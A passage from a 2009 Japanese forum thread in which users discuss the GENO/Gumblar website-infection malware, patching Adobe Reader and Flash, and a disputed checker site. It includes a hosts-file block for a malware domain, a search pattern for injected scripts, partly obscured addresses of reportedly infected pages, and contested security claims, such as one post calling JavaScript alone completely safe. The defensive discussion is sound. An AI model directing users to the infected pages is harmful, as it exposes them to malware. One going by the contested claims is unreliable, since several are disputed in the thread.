気休め程度
たぶんリストはローカルに持ってるとおもう

319:172
09/05/30 00:45:11
>>196
Vista UAC回避が明記されてるexploitツールも見かけた


Adobe Readerに関してはバックグラウンドDLも無効にする

320:名無しさん@お腹いっぱい。
09/05/30 01:08:09
ネットをやめれば万事解決

321:名無しさん@お腹いっぱい。
09/05/30 01:10:53
>>319
Macおすすめ

322:名無しさん@お腹いっぱい。
09/05/30 01:15:05
ウィルス如きが怖いようならPCは使わない事だ

323:名無しさん@お腹いっぱい。
09/05/30 01:21:54
404、403エラーページに仕込まれ始めたって話ホント?

324:名無しさん@お腹いっぱい。
09/05/30 01:23:30
どんどん脈絡なくウイルス全般の話して不安を煽るやつがおるのか

325:名無しさん@お腹いっぱい。
09/05/30 01:47:45
>>323
それマジソース
どうせカスタムエラーページだと思うけども

326:名無しさん@お腹いっぱい。
09/05/30 02:33:50
>>325

URLリンク(questionbox.jp.msn.com)
>なお、これはサーバーの出す404エラー表示にも仕込まれておりましたので、
>管理者権限にてWEBルートより上位ディレクトリのcfファイルが書き換えられた可能性があります。

カスタム可能サーバなのかな?

327:名無しさん@お腹いっぱい。
09/05/30 02:36:36
追記です
話題になってるのはこのサイトみたい

h●●p://www.mutsumi-house.com/aindex.html

328:名無しさん@お腹いっぱい。
09/05/30 02:46:56
うわあ…

329:名無しさん@お腹いっぱい。
09/05/30 03:03:57
404だしてもGenoみあたらないんだが

330:名無しさん@お腹いっぱい。
09/05/30 06:12:40
>>329
ちゃんと上で指定されてるサーバーいったか?

331:名無しさん@お腹いっぱい。
09/05/30 06:27:25
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /aindex.htmleee was not found on this server.</p>
</body></html>

332:名無しさん@お腹いっぱい。
09/05/30 07:17:32
例のGENOチェッカーサイトはamazonnアソシエイトに通報すれば普通に処罰されるよ

てかなんでお前ら通報しないの?死ねよ


333:名無しさん@お腹いっぱい。
09/05/30 07:20:35
>>329
URLリンク(www1.atchs.jp)

334:名無しさん@お腹いっぱい。
09/05/30 09:06:55
>>332
自分でやれよ

335:名無しさん@お腹いっぱい。
09/05/30 10:46:58
>>334
たった一言なのにすごく説得力あるなw

336:名無しさん@お腹いっぱい。
09/05/30 11:31:32
asahi.com(朝日新聞社)

新マルウエア「GENOウイルス」蔓延に注意(1/3ページ)
URLリンク(www.asahi.com)


337:名無しさん@お腹いっぱい。
09/05/30 11:39:01
>>332
え アソシエイト が仕込まれてるの?
知らずにやってた・・・

338:名無しさん@お腹いっぱい。
09/05/30 12:35:49
>>337
>>7


339:名無しさん@お腹いっぱい。
09/05/30 13:03:54
アクセス数がかなり多く、サーバー維持が大変です。
差し支えなければ下記アフィリエイトリンクのご利用よろしくお願いします。

340:名無しさん@お腹いっぱい。
09/05/30 13:21:52
>>337
geno2chtc-22

-22って付いてるところがアフィの元。
geno2chtcね。

341:名無しさん@お腹いっぱい。
09/05/30 13:31:10
■ adobe flashplayerを最新版に更新
  URLリンク(fpdownload.macromedia.com)
だけではIEのflash更新されません
当サイトを見るだけで十分とか書いておきながら
一番大事な所で嘘書いてるクソサイト

342:名無しさん@お腹いっぱい。
09/05/30 13:34:55
iframeってサイトみただけでクリックしたことになるんですよね?


343:名無しさん@お腹いっぱい。
09/05/30 13:38:51
>>332
何か規約に反したことしてるのか?

344:名無しさん@お腹いっぱい。
09/05/30 13:55:26
暇だからAmazonに通報してみるか

345:名無しさん@お腹いっぱい。
09/05/30 14:01:14
>>342
サイトみたときに同時に読み込まれるけど
クリックはしないとおもう

346:名無しさん@お腹いっぱい。
09/05/30 14:04:03
URLリンク(geno.2ch.tc)

GENOウイルスチェッカー
危険度4%

347:名無しさん@お腹いっぱい。
09/05/30 14:05:28
>>344
どんな規約に違反してるの?
そもそもアマゾンって踏んだ後に購入しないと金が入らない仕組みじゃなかったっけ?

348:名無しさん@お腹いっぱい。
09/05/30 14:07:14
>>344
頼んだ。期待している

349:名無しさん@お腹いっぱい。
09/05/30 14:07:42
■ adobe flashplayerを最新版に更新
  URLリンク(fpdownload.macromedia.com)
だけではIEのflash更新されません
当サイトを見るだけで十分とか書いておきながら
一番大事な所でデタラメ書いてるクソサイト

350:名無しさん@お腹いっぱい。
09/05/30 14:14:39
ASAHIネットのユーザーサイトでスクリプト埋め込みを
確認したんだけどASAHIネットの通報先がイマイチわからん

eval unescapeでぐぐってたら出てきた
gumblar2.5個(1つできそこない)、martuz1つ確認
www●ne●jp/asahi/travel/net/sub5.html

351:名無しさん@お腹いっぱい。
09/05/30 14:51:29
>>350
whoisでは
remarks: Email address for spam or abuse complaints : mailto:ap-net@asahi-net.or.jp
ってなってるけど、このアドレス死んでるの?

352:名無しさん@お腹いっぱい。
09/05/30 15:14:48
こんなスレまだあったんだw

353:名無しさん@お腹いっぱい。
09/05/30 15:18:26
ニートはアフィとか嫌いだよな
世界はタダで俺に奉仕しろってキチガイすぎるぜ

354:名無しさん@お腹いっぱい。
09/05/30 15:25:53
アフィ嫌いじゃないよ
おれ自身アフィのおかげで助かってる身だし

355:名無しさん@お腹いっぱい。
09/05/30 15:50:37
今頃騒いでる奴は馬鹿。

356:名無しさん@お腹いっぱい。
09/05/30 16:23:45
アフィはあっても無くてもどっちでもいいだろ
問題は中身

357:名無しさん@お腹いっぱい。
09/05/30 16:53:21
>>350
おk、サーバー管理者宛に送っとくよ

358:名無しさん@お腹いっぱい。
09/05/30 17:04:07
>>350-351
朝日ネットの技術連絡担当者のメールアドレスに送っといた。

359:名無しさん@お腹いっぱい。
09/05/30 17:31:21
>>356
叩きたいだけの能なし基地外にそんな正論言っても無駄
チェッカー使わないから別にいいけどね

360:名無しさん@お腹いっぱい。
09/05/30 17:34:21
>>357-358
thx

361:名無しさん@お腹いっぱい。
09/05/30 17:46:51
アフィ云々より運用板での発言が気になる
アフィなんかどこでもしてるし別に問題ない

362:名無しさん@お腹いっぱい。
09/05/30 17:53:00
日本語通じない人に何言っても駄目っす
ID出ないから自演しまくりだし

363:名無しさん@お腹いっぱい。
09/05/30 17:53:57
GENO関連なので、こちらに誘導されてきました。

GENOウイルスにかかって
パソコンをリカバリしてからちょっとおかしい?ので
質問させてください。

ウインドウズXPで、機種はレッツノートです。

ローカルディスク(C)の中身って、
普通、
Documents and Settings
Program Files
util
WINDOWS
くらいですよね?

それ以外に、なんか長い英数字の並んだ名前のフォルダが存在するのって
おかしいですか?
5558de~とかって30文字くらいのフォルダ名です。
多分前はそんなフォルダなかったと思うんですが…。
ウイルスの駆除がまだできてなかったってことでしょうか?


364:名無しさん@お腹いっぱい。
09/05/30 17:55:32
■ adobe flashplayerを最新版に更新
  URLリンク(fpdownload.macromedia.com)
だけではIEのflash更新されません
当サイトを見るだけで十分とか書いておきながら
一番大事な所でデタラメ書いてるクソサイト
こいつのせいで蔓延してんだろ

365:名無しさん@お腹いっぱい。
09/05/30 17:58:44
ようやく修正したなww

366:名無しさん@お腹いっぱい。
09/05/30 18:00:36
■ Opera(→ダウンロード)でプラグイン、Javaをオフ。(JavaScriptのみでは全く安全です。)
こいつ技術者じゃないんでないの
あまりに短絡的

367:名無しさん@お腹いっぱい。
09/05/30 18:08:20
これ、どういう基準でチェックしてんの???
javascriptの数が基準?

おれんとこの富士通のURLリンク(azby.nifty.com)
101パーセント危険判定されてわろた。
んで、URLリンク(azby.nifty.com)にしたら一挙に8パーセントで安全になったんだけどw

他では笑いのネタになってるぞこれw

368:名無しさん@お腹いっぱい。
09/05/30 18:13:48
>>363
OSアップデート時のごみが残ってるだけだとおもう

369:名無しさん@お腹いっぱい。
09/05/30 18:18:38
>>363
そんなもん腐るほどあるわ!

370:名無しさん@お腹いっぱい。
09/05/30 18:23:45
GENOチェッカーにある
■ adobe flashplayerを最新版に更新

  IE用のアップデーターです。↓も必ずインストールしてください。 05/30更新 重要!
  fpdownload.macromedia.com/get/flashplayer/current/licensing/win/install_flash_player_10_active_x.exe

この下のexeは更新して大丈夫だよね?
なんかexeが直リンされてると怖い

371:名無しさん@お腹いっぱい。
09/05/30 18:25:35
>>370
URLリンク(www.adobe.com)は?


372:名無しさん@お腹いっぱい。
09/05/30 18:25:50
>>363
一応フォルダの中身きいとこうか

373:名無しさん@お腹いっぱい。
09/05/30 18:26:14
あのサイト見るな
不十分サイト
1修正案
■ adobe readerを最新版にアップデートする
URLリンク(get.adobe.com)
 とりあえず最新版にしましょう。
 インストール後本体をアップデートしておく事
 adobe readerを開いて ヘルプ→アップデートの有無をチェック
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

以上でGENOは防げるが亜種等のため以下推奨
■ acrobat javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→acrobat javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
  FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなります)

優先度低
■ Vistaの人ははUACをONにする
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」


374:名無しさん@お腹いっぱい。
09/05/30 18:29:44
100%で安全とか頭おかしいでしょ
普通は修正する

375:名無しさん@お腹いっぱい。
09/05/30 18:34:17
とにかく次スレで外す


376:363
09/05/30 18:41:24
皆様返答ありがとうございます。
大丈夫そうということで、とりあえず安心しました。
どうもありがとうございました。

>>372
フォルダの中身はsupportとかupdateというフォルダと、
他本当にファイルがいっぱいで書ききれないです…。

377:名無しさん@お腹いっぱい。
09/05/30 18:44:35
>>363
それは、WindowsUpdate等の作ったファイルなので消しちゃだめ。

378:名無しさん@お腹いっぱい。
09/05/30 18:46:38
>>370
IEだとめんどくさい処理がいるからそのリンクでいいよ

379:名無しさん@お腹いっぱい。
09/05/30 18:49:43
■ adobe flashplayerを最新版に更新
URLリンク(www.adobe.com)

380:名無しさん@お腹いっぱい。
09/05/30 18:51:32
>>376
自分の知ってる限りだと
winupdate関連以外にもcreativeのサウンドカード(わけのわからないファイルがsystemにくいこむ)や一部のソフトの履歴としても
似たようなものが作られる事があるよ


381:名無しさん@お腹いっぱい。
09/05/30 18:52:30
チェッカー叩きってなぜか集団で来て集団で去っていくね
よっぽど離れてても心が一致団結した人たちなんだね

382:名無しさん@お腹いっぱい。
09/05/30 18:53:54
叩きってねえ
成長しろよいつまでフラッシュのver嘘書くの

383:名無しさん@お腹いっぱい。
09/05/30 18:54:00
自演

384:名無しさん@お腹いっぱい。
09/05/30 18:55:14
なにをいまさら
つうか全部おれの自演

385:名無しさん@お腹いっぱい。
09/05/30 18:56:33
うお。チェッカー修正キタ
ありがてえ

386:名無しさん@お腹いっぱい。
09/05/30 18:57:25
flashの記述はましになってよかったね
叩きのおかげか

387:名無しさん@お腹いっぱい。
09/05/30 18:57:34
感染してるとWindows Updateに接続できないって事は
言い換えると接続できれば感染してないってことなのでしょうか

388:名無しさん@お腹いっぱい。
09/05/30 18:59:11
そうかもしれないしそうじゃないかもしれない
ウイルス全般に言えるような話は他でやってね

389:名無しさん@お腹いっぱい。
09/05/30 19:03:01
>特に2ちゃんねるで様々な情報が錯綜していますが、異常に警戒する必要はありません。
>今回の件に関してはこのサイトに従って対策を施せば、大事に至ることはまずないでしょう。
>wiki、2ちゃんねるの情報は、誰でも書き込みできてしまうので、信憑性に欠き、初心者の方は惑わされやすいです。
>そこで、情報の取捨選択に困ってる人のために当サイトを見るだけで十分なようにこのサイトは作られました。

嘘情報ずっと載せてた危険サイトの癖に

390:名無しさん@お腹いっぱい。
09/05/30 19:06:16
チェック先のソースを表示して、
感染部分を赤字で教えてくれる他のチェッカーの方が断然使いやすかった。

391:名無しさん@お腹いっぱい。
09/05/30 19:14:17
>>379
おい更新できねーじゃねーか糞が
IEが更新中止しやがる

392:名無しさん@お腹いっぱい。
09/05/30 19:28:27
感染サイトを確実に見極めるにはGENOチェッカーでは役不足ですね
私は独自の対策より99.999%、感染か未感染か確かめられるのでその方法でサイト検証はしました
今後、変異したGENOウイルスが出たとしても99.999%防御できるだろうと確信しています

393:名無しさん@お腹いっぱい。
09/05/30 19:29:26
>>392
急にどうしたんだ?

394:名無しさん@お腹いっぱい。
09/05/30 19:31:40
チェッカー、0.4%とか更に細かくなってるんだが気のせいかw?

395:名無しさん@お腹いっぱい。
09/05/30 19:34:43
ブラウザは用途に応じてIE/firefox/operaで使い分けるのが最強だな
~だから駄目って事はない

396:名無しさん@お腹いっぱい。
09/05/30 19:35:26
自演が痛すぐる

397:名無しさん@お腹いっぱい。
09/05/30 19:36:52
IDない板で何言っても見苦しい事になるだけ

398:名無しさん@お腹いっぱい。
09/05/30 19:37:31
>>393
なぜなら彼もまた特別な存在だからです。

399:名無しさん@お腹いっぱい。
09/05/30 19:38:01
>>1-1000
全て俺の自演(の予定)

400:名無しさん@お腹いっぱい。
09/05/30 19:39:18
>>393
GENOチェッカーは曖昧な表現のため慎重派は0%以外を危険とみなしてしまうので使い勝手が悪いのです
ウイルス検出ソフトで例えると「誤検出」した状態と同じです

GENOチェッカーも、感染しているか、否かを判断できるなら使えるのですがとても残念です

401:名無しさん@お腹いっぱい。
09/05/30 19:41:45
>>400
良いこと言った

402:名無しさん@お腹いっぱい。
09/05/30 19:43:52
突然クソ重くなったんで感染したか!?と思ったら
noscriptが重かっただけだったでござる

403:名無しさん@お腹いっぱい。
09/05/30 19:46:02
■ Opera(→ダウンロード)でプラグイン、Javaをオフ。(JavaScriptのみでは全く安全です。)5/30更新
  1.[F12]を押す→[プラグインを有効にする]のチェックを外す。
  2.[F12]を押す→[javaを有効にする]のチェックを外す。
  sleipnir、IEでも上手に設定するとなんとかなりますが、難しいです。
  この方法だと多くのサイトで利用されているJavaScriptを犠牲にせず、簡単に安全なブラウジングが実現できます。

これってどういう事なんだろう
javascriptって危険なんじゃなかったっけ?

404:名無しさん@お腹いっぱい。
09/05/30 19:48:03
ただのインチキ情報だろ

405:名無しさん@お腹いっぱい。
09/05/30 19:50:59
>>402
火狐は相変わらずメモリリーク問題がある

406: ◆XcxlmnqGqU
09/05/30 19:57:35
>>403
全く安全
多くのウイルスがJavaScriptを介して、pdf、swf等を読み込ませるからJavaScriptが問題だと勘違いされがちですが、
javascript単体にはローカルファイル操作、レジストリ改変等を行う機能は存在しません
よってその対処法を導入していれば持続的な被害に合うことは一切ありません




>>404
雑魚は黙ってなさい

407:名無しさん@お腹いっぱい。
09/05/30 19:59:52
Javaなんてインストールされてないだろ
そんなんで安全ならこんなに問題になんてならない

408:名無しさん@お腹いっぱい。
09/05/30 20:01:07
Adobe Flash Player のバージョンテスト(最新10,0,22,87)
URLリンク(www.adobe.com)

409:名無しさん@お腹いっぱい。
09/05/30 20:03:33
Javaは関係ないだろ?
そんなことよりAdobe製品の対策しとけば問題ないだろ

410:名無しさん@お腹いっぱい。
09/05/30 20:04:58
Javaの脆弱性が突かれたって言うのか
全然Sunは対応してないようだが

411:名無しさん@お腹いっぱい。
09/05/30 20:07:26
>>406
Sunに報告してね

412:名無しさん@お腹いっぱい。
09/05/30 20:13:13
>>406
まじでjavaの脆弱性なら報告してくれよ
間違いなら迷惑だから訂正して欲しい

413:名無しさん@お腹いっぱい。
09/05/30 20:26:11
それopera関係ないワナ

414:名無しさん@お腹いっぱい。
09/05/30 20:27:06
operaもjavaも関係ない

415:名無しさん@お腹いっぱい。
09/05/30 20:29:27
ウソクソ情報垂れ流してまじいいかげんにしてほしい

416:名無しさん@お腹いっぱい。
09/05/30 20:37:04
50,727じゃなかったんだけど…おわ……た

417:名無しさん@お腹いっぱい。
09/05/30 20:55:40

  / ̄ ̄ ̄ /  /''7 ./''7        / ̄/  /''7
 ./ ./ ̄/ /  /__/ / /  ____    ̄  / /
 'ー' _/ /   ___ノ /  /____/   ___ノ /
   /___ノ   /____,./         /____,./

   _ノ ̄/ / ̄/  /''7 / ̄ ̄ ̄/   / ̄/             /'''7'''7
/ ̄  /    ̄  / /    ̄ フ ./   /  ゙ー-;   ____   / / /._
 ̄/ /     ___ノ /   __/  (___  /  /ー--'゙ /____/ _ノ /i  i/ ./
 /__/   /____,./   /___,.ノゝ_/ /_/           /__,/ ゝ、__/


418:名無しさん@お腹いっぱい。
09/05/30 20:56:10
yahoo!JAPANトップページのニュース・・・
国交省岐阜国道事務所が感染してたのってもしかしてGENO?

419:名無しさん@お腹いっぱい。
09/05/30 20:58:59
もしかしてGENO?

420:名無しさん@お腹いっぱい。
09/05/30 21:05:42
システムフォルダ内のファイルやレジストリを書き換えるのかな
ならOutpostとかComodoあたりでも防げそうだね
その他大概のHIPSで防げそうだけど

421:名無しさん@お腹いっぱい。
09/05/30 21:07:21
もしかして恋?

422:名無しさん@お腹いっぱい。
09/05/30 21:49:36
>>406
チェッカーのサイトの人か
修正しとけよ
JavaとJavaScript混同するなよ
雑魚は雑魚なりにがんばれ

423:名無しさん@お腹いっぱい。
09/05/30 21:52:11
このスレ見てんなら間違ってるところ他にもあるから直せばいいのに
意地になってるのか

424:名無しさん@お腹いっぱい。
09/05/30 22:02:05
チェッカー使えねえなwwww

425:名無しさん@お腹いっぱい。
09/05/30 22:29:47
終焉。

426:172
09/05/30 22:52:21
今回悪用されたAdobeの既知の脆弱性はRemote Exec Vulnだと思うけど、
Comodo Internet Securityにおいてバッファオーバーフローが発生した時点で
ブロックできることを確認したよ

427:名無しさん@お腹いっぱい。
09/05/30 23:20:05
COMODO伝説

428:名無しさん@お腹いっぱい。
09/05/30 23:20:14
バスターばかにすんな

429:名無しさん@お腹いっぱい。
09/05/30 23:34:41
m9(^Д^)

430:名無しさん@お腹いっぱい。
09/05/30 23:49:29
URLリンク(www.yomiuri.co.jp)
厚労・国交省、公式サイトのハッカー攻撃を長期間放置

431:名無しさん@お腹いっぱい。
09/05/30 23:53:52
>>430
岐阜国道事務所の件までハッカーによる改ざんであるかのような記事だな
クソだな

432:名無しさん@お腹いっぱい。
09/05/30 23:59:20
こういう鯖ってUNIXだっけ?
まさかWINって事は無いよな。

433:名無しさん@お腹いっぱい。
09/05/31 00:32:34
どっかのオンラインゲームで、Windowsを鯖に使ってますって公言してるのを見て笑った覚えがある。

434:名無しさん@お腹いっぱい。
09/05/31 00:59:48
>>370
落としたら正規のプログラムみたいだったぞ
え?それでやったけど危ないの?

435:名無しさん@お腹いっぱい。
09/05/31 01:03:29
危なくないよ
糞サイトだからあんまり信じないのが良いだけ

436:名無しさん@お腹いっぱい。
09/05/31 01:06:41
exe恐怖症の人は、↓で
URLリンク(www.adobe.com)
しかし、公式のexeリンクくらいは信頼しないと何も出来なくなるぞw

437:名無しさん@お腹いっぱい。
09/05/31 01:07:03
>>435
レスありがとう
安心した

438:名無しさん@お腹いっぱい。
09/05/31 01:08:41
gumblar。cnは5/18に停止、martuz。cnも5/19に停止している
みたいだけど、最近感染した人はどこに誘導されてるんだろう?

439:名無しさん@お腹いっぱい。
09/05/31 01:12:15
もっと前から感染してたのを最近になって気づいたってだけじゃね

440:名無しさん@お腹いっぱい。
09/05/31 01:19:54
script error line 86 position 3が出るようになったけど
これはacrobat javascript関連でOKでしょうか?

441:名無しさん@お腹いっぱい。
09/05/31 01:22:02
此処に書き込む感染した奴ら
確実にもう2,3個トロイ入れられトル

442:名無しさん@お腹いっぱい。
09/05/31 01:25:05
そっかー

443:名無しさん@お腹いっぱい。
09/05/31 01:26:57
バスターばかにすんな

444:名無しさん@お腹いっぱい。
09/05/31 01:31:04
>>213
だったらやさしく教えてやれ

445:名無しさん@お腹いっぱい。
09/05/31 01:32:30
>>439
そういうドラマチックな展開が好みか
現実にはありえないがね

446:名無しさん@お腹いっぱい。
09/05/31 01:34:36
flashとリーダー
最新に更新しとけばいいで終了
亜種だ、別種だ?そんなのどうとでもいえるわい

447:名無しさん@お腹いっぱい。
09/05/31 01:39:57
「Vistaの人ははUAC」が気になって夜も眠れません!!
ここは修正しないんですか?

448:名無しさん@お腹いっぱい。
09/05/31 01:40:02
グーグルの検索結果一覧に各HPに入らない方がいいサイトには紫、大丈夫なのは緑が付いてたけど
先読み機能切ったりテンプレの対策したら色付かなくなったんですがそういうものですか。
それともウイルスが原因?

449:名無しさん@お腹いっぱい。
09/05/31 01:41:50
>>359
叩いてるw

450:440
09/05/31 01:43:10
だれかおせーて

451:名無しさん@お腹いっぱい。
09/05/31 01:43:43
日本語で書けカス

452:名無しさん@お腹いっぱい。
09/05/31 01:44:59
>>406
皆少しはこの人を見習ってほしい


453:名無しさん@お腹いっぱい。
09/05/31 01:45:29
はいはい

454:名無しさん@お腹いっぱい。
09/05/31 01:46:49
>>436
ありがとう

455:440
09/05/31 01:48:02
・゚・(つд∩)・゚・

456:名無しさん@お腹いっぱい。
09/05/31 01:48:36
247 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2009/05/29(金) 14:49:42
困った時は>>60
事前予防は>>60

こいつ通報してくる

457:名無しさん@お腹いっぱい。
09/05/31 01:49:29
ウィルス直リンをマルチしてるならともかく、その程度は通報しても無駄

458:名無しさん@お腹いっぱい。
09/05/31 01:50:53
>>457
そうか
ならやめとくわ

459:名無しさん@お腹いっぱい。
09/05/31 01:51:21
>>452
おいおい
人を貶してる上に間違ってるだろ

460:名無しさん@お腹いっぱい。
09/05/31 02:40:00
チェッカーの人お疲れ。
ありがとう、助かってるよー

461:名無しさん@お腹いっぱい。
09/05/31 02:46:10
>>448誰か教えてください。

462:440
09/05/31 02:48:25
(´・ω・`)

463:名無しさん@お腹いっぱい。
09/05/31 02:57:03
>>448
自分の環境では色付いてないかさっぱりらわからん。

464:名無しさん@お腹いっぱい。
09/05/31 02:59:43
ないから さっぱり わからん。

さっぱり を強調したかった気持ちを汲み取ってくれ。

465:名無しさん@お腹いっぱい。
09/05/31 03:16:56
念のためFlash Playerをダウンロードしてインストールしたけど、バージョンが10.0.22.87で
2月末のから変わってないじゃん。
もしかしてチェッカーの人にだまされてる?

466:名無しさん@お腹いっぱい。
09/05/31 03:17:49
最新verは、10.0.22.87で合っている

467:名無しさん@お腹いっぱい。
09/05/31 03:21:09
>>440
86行目に何が書いてあるの?

468:名無しさん@お腹いっぱい。
09/05/31 04:00:56
対応済
Flash Player 9.0.159.0 10.0.22.87
Adobe Reader 7.1.1 8.1.4 9.1.0

最新
Flash Player 10.0.22.87
Adobe Reader 9.1.1

469:名無しさん@お腹いっぱい。
09/05/31 04:02:14
元々、Flash Playerの方は問題なかったって事でそ

470:名無しさん@お腹いっぱい。
09/05/31 04:06:46
>>361
運用板での発言ってなに

471:名無しさん@お腹いっぱい。
09/05/31 04:11:02
Adobe Readerの対策版が出たのが3月19日

472:名無しさん@お腹いっぱい。
09/05/31 04:29:58
運用板は知らんがこのスレの発言見て叩かれるのも納得


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch